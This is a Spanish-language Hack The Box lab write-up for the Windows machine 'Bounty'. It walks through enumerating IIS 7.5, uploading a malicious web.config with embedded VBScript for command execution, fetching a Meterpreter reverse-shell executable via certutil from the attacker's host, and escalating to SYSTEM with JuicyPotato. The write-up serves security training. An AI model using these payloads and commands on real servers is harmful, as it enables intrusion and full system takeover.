Bounty

Hack The Box — Writeup

Bounty

IP:10.129.23.232
OS:Windows
Dificultad:Easy
Fecha:13 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Se identificó únicamente el puerto 80 (HTTP) como vector de ataque disponible.

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Hallazgo: se identificó una versión vulnerable del servicio Microsoft IIS 7.5, la cual cuenta con múltiples CVE públicos vinculados. Antes de determinar el vector de explotación aplicable, se procedió a enumerar el servicio para corroborar cuál de dichos CVE era pertinente a este escenario.

Enumeración

Enumeración web inicial

Al acceder al servicio web, la página principal únicamente mostraba una imagen, sin enlaces ni funcionalidad visible.

Página web principal

Hipótesis: ante la ausencia de contenido en la página principal, se planteó la posible existencia de directorios o recursos no enlazados. Se procedió a realizar un escaneo con Feroxbuster para identificarlos.

# Comando ejecutado
feroxbuster -u http://10.129.23.232/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt

# Output
301  GET  2l  10w  158c http://10.129.23.232/aspnet_client =>
http://10.129.23.232/aspnet_client/
301  GET  2l  10w  158c http://10.129.23.232/uploadedfiles =>
http://10.129.23.232/uploadedfiles/
301  GET  2l  10w  169c http://10.129.23.232/aspnet_client/system_web =>
http://10.129.23.232/aspnet_client/system_web/

Hallazgo: se identificaron dos directorios: uploadedfiles y aspnet_client. Al intentar acceder a ambos se obtuvo un error 403 Forbidden: Access Denied.

Intento de acceso a uploadedfiles

Intento de acceso a aspnet_client

Al no encontrarse contenido relevante, se inspeccionó el código fuente de la página principal mediante Ctrl+U:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Bounty</title>
[...estilos CSS omitidos...]
</head>
<body>
<div id="container">
<a href=""><img src="merlin.jpg" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>

Observación: el código fuente no reveló información adicional de valor. Se procedió a buscar exploits conocidos para la versión identificada.

searchsploit Microsoft IIS 7.5

Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities
Microsoft IIS 7.5 (Windows 7) - FTPSVC Unauthorized Remote DoS (PoC)

msf > search -type exploit -name Microsoft IIS 7.5
[-] No results from search

Observación: los exploits encontrados para IIS 7.5 no resultaron aplicables al escenario: el primero requiere PHP instalado (no present en este servidor) y el segundo es un DoS sin utilidad ofensiva. Metasploit tampoco devolvió módulos específicos para esta versión. Se descartó la explotación directa del servidor web y se continuó con la enumeración.

Investigación del vector web.config

Se investigó el comportamiento de IIS con archivos web.config, identificándose que dicho archivo de configuración puede contener código ASP ejecutable por el servidor, convirtiéndose en un vector de RCE si logra subirse al directorio correcto. Para subir el archivo, se investigó el uso de WebDAV.

Intento fallido — WebDAV con cadaver

cadaver http://10.129.23.232/
Error: Location does not advertise WebDAV class 1 support.

dav:!> open http://10.129.23.232/
Error: Location does not advertise WebDAV class 1 support.

dav:!> open http://10.129.23.232/uploadedfiles/
Error: Location does not advertise WebDAV class 1 support.

dav:!> open http://10.129.23.232/aspnet_client/
Error: Location does not advertise WebDAV class 1 support.

Se verificó qué métodos HTTP acepta el servidor:

curl -X OPTIONS http://10.129.23.232/ -v 2>&1 | grep -i "allow\|dav\|public"

< Allow: OPTIONS, TRACE, GET, HEAD, POST
< Public: OPTIONS, TRACE, GET, HEAD, POST

Por qué no funcionó: los métodos PUT, PROPFIND y MKCOL (necesarios para WebDAV) no aparecen en los headers de respuesta. El servidor no los expone en la raíz del sitio.

Intento fallido — davtest

Se instaló davtest para un análisis más exhaustivo de las capacidades WebDAV del servidor:

sudo pacman -S davtest

davtest -url http://10.129.23.232/

********************************************************
Testing DAV connection
OPEN    FAIL: http://10.129.23.232  Server response: 405 Method Not Allowed

davtest -url http://10.129.23.232/uploadedfiles/

********************************************************
Testing DAV connection
OPEN    FAIL: http://10.129.23.232/uploadedfiles  Server response: 405 Method Not Allowed

Por qué no funcionó: el método PROPFIND fue rechazado con error 405 (Method Not Allowed) en todas las rutas probadas, descartando definitivamente WebDAV como vector de subida.

Intento fallido — método PUT directo

curl -X PUT http://10.129.23.232/uploadedfiles/test.txt -d "test"

<h2>404 - File or directory not found.</h2>

Por qué no funcionó: el servidor respondió con 404, descartando la subida directa vía PUT.

Identificación del formulario de subida

Dado que ninguna vía de subida directa resultó viable, se retomó la enumeración web con extensiones específicas de IIS y ASP.NET, dado que los escaneos anteriores solo buscaban directorios y no archivos con extensiones particulares.

Se realizó un segundo escaneo con la wordlist específica para IIS:

feroxbuster -u http://10.129.23.232/ -w /usr/share/seclists/
Discovery/Web-Content/Web-Servers/IIS.txt

200  GET  32l  53w  630c http://10.129.23.232/iisstart.htm
403  GET  29l  92w  1233c http://10.129.23.232/aspnet_client/
403  GET  49l  156w  2062c http://10.129.23.232/trace.axd

Observación: iisstart.htm correspondía al mismo contenido ya observado en la página principal. No se identificaron nuevos vectores con esta wordlist.

Se realizó un tercer escaneo agregando extensiones específicas de IIS/ASP.NET:

feroxbuster -u http://10.129.23.232/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt -x aspx,asp,config,txt

200  GET  22l  58w  941c http://10.129.23.232/transfer.aspx

Hallazgo: se identificó la página transfer.aspx, que al acceder desde el navegador reveló un formulario de subida de archivos.

Formulario de subida de archivos en transfer.aspx

Explotación

Construcción del archivo web.config malicioso

Se construyó un archivo web.config que, al ser procesado por IIS, ejecuta código VBScript embebido. La estrategia consiste en dos fases: primero confirmar RCE con un whoami, y luego ejecutar un payload de Meterpreter para obtener una shell interactiva.

Fase 1 — Confirmación de RCE:

cat web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
Dim oShell
Set oShell = Server.CreateObject("WSCRIPT.SHELL")
Dim oExec
Set oExec = oShell.Exec("cmd.exe /c whoami")
Response.Write(oExec.StdOut.ReadAll())
%>

El archivo fue subido exitosamente a través del formulario transfer.aspx.

Selección del archivo web.config para subir

Confirmación de subida exitosa

Al acceder a http://10.129.23.232/uploadedfiles/web.config se confirmó la ejecución remota de comandos:

RCE confirmado — salida del comando whoami

El servidor respondió con bounty\merlin, confirmando ejecución de comandos en el contexto del usuario merlin.

Obtención de reverse shell

Fase 2 — Payload de Meterpreter:

Se generó un ejecutable malicioso con msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=4444 -f exe -o shell.exe

Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe

Se levantó un servidor HTTP para servir el ejecutable:

python3 -m http.server 8080

Se modificó el web.config para que descargara y ejecutara el payload mediante certutil:

<%@ Language=VBScript %>
<%
Dim oShell
Set oShell = Server.CreateObject("WSCRIPT.SHELL")
oShell.Run "cmd.exe /c certutil -urlcache -split -f
http://10.10.15.163:8080/shell.exe C:\Windows\Temp\shell.exe &&
C:\Windows\Temp\shell.exe"
%>

Intento fallido — nombre incorrecto del archivo:

Se subió inicialmente el archivo con el nombre web2.config en lugar de web.config.

Por qué no funcionó: IIS solo procesa automáticamente el archivo de configuración cuando se llama exactamente web.config. Cualquier otro nombre es tratado como un archivo estático sin procesamiento especial.

Solución: al subir el archivo con el nombre correcto web.config, el servidor HTTP recibió la petición de descarga desde la máquina víctima:

10.129.23.232 - - [05/Jul/2026 07:54:15] "GET /shell.exe HTTP/1.1" 200 -

Se inició el listener en Metasploit y se obtuvo la sesión:

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Sending stage (248902 bytes) to 10.129.23.232
[*] Meterpreter session 1 opened (10.10.15.163:4444 ->
10.129.23.232:49162) at 2026-07-05 07:54:23 +0000

meterpreter > getuid
Server username: BOUNTY\merlin

meterpreter > sysinfo
Computer        : BOUNTY
OS              : Windows Server 2008 R2 (6.1 Build 7600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows

Obtención de la flag de usuario

shell
type C:\Users\merlin\Desktop\user.txt
[flag de usuario obtenida]

Escalada de Privilegios

Enumeración de privilegios

meterpreter > getprivs

Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege

Hallazgo: el privilegio SeImpersonatePrivilege se encontraba habilitado. Este privilegio permite a un proceso impersonar el token de seguridad de otro usuario, incluyendo NT AUTHORITY\SYSTEM. Es un vector clásico de escalada de privilegios en Windows cuando el proceso corre en el contexto de un servicio web (IIS, SQL Server, etc.).

Escalada con JuicyPotato

Se seleccionó JuicyPotato como herramienta de explotación de SeImpersonatePrivilege, al ser la más compatible con Windows Server 2008 R2 (PrintSpoofer y GodPotato requieren versiones más recientes del sistema operativo).

Se generó un segundo payload en un puerto diferente para recibir la shell privilegiada:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=5555 -f exe -o shell2.exe

Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell2.exe

Se descargó JuicyPotato y se subieron ambos archivos a la máquina víctima:

meterpreter > upload JuicyPotato.exe C:\\Windows\\Temp\\JuicyPotato.exe
[*] Uploaded 339.50 KiB of 339.50 KiB (100.0%)

meterpreter > upload shell2.exe C:\\Windows\\Temp\\shell2.exe
[*] Uploaded 7.50 KiB of 7.50 KiB (100.0%)

Se configuró un segundo listener en Metasploit para recibir la conexión privilegiada:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 5555
run

[*] Started reverse TCP handler on 10.10.15.163:5555

Intento fallido — CLSID incorrecto:

C:\Windows\Temp> JuicyPotato.exe -l 1337 -p shell2.exe -t *
-c {F3114B03-B5A1-4C14-B5E4-BF1FB2F5C8C4}

Testing {F3114B03-B5A1-4C14-B5E4-BF1FB2F5C8C4} 1337
COM -> recv failed with error: 10038

Por qué no funcionó: JuicyPotato requiere un CLSID (Class ID) de un objeto COM válido que corra bajo el contexto de SYSTEM en el sistema objetivo. El CLSID probado no correspondía a un objeto COM disponible en este servidor.

Escalada exitosa — CLSID válido:

Se probó un segundo CLSID conocido para Windows Server 2008 R2:

C:\Windows\Temp> JuicyPotato.exe -l 1337 -p shell2.exe -t *
-c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

El segundo listener recibió la conexión:

[*] Sending stage (248902 bytes) to 10.129.23.232
[*] Meterpreter session 1 opened (10.10.15.163:5555 ->
10.129.23.232:49168) at 2026-07-05 08:03:40 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Obtención de la flag root

shell
type C:\Users\Administrator\Desktop\root.txt
[flag de root obtenida]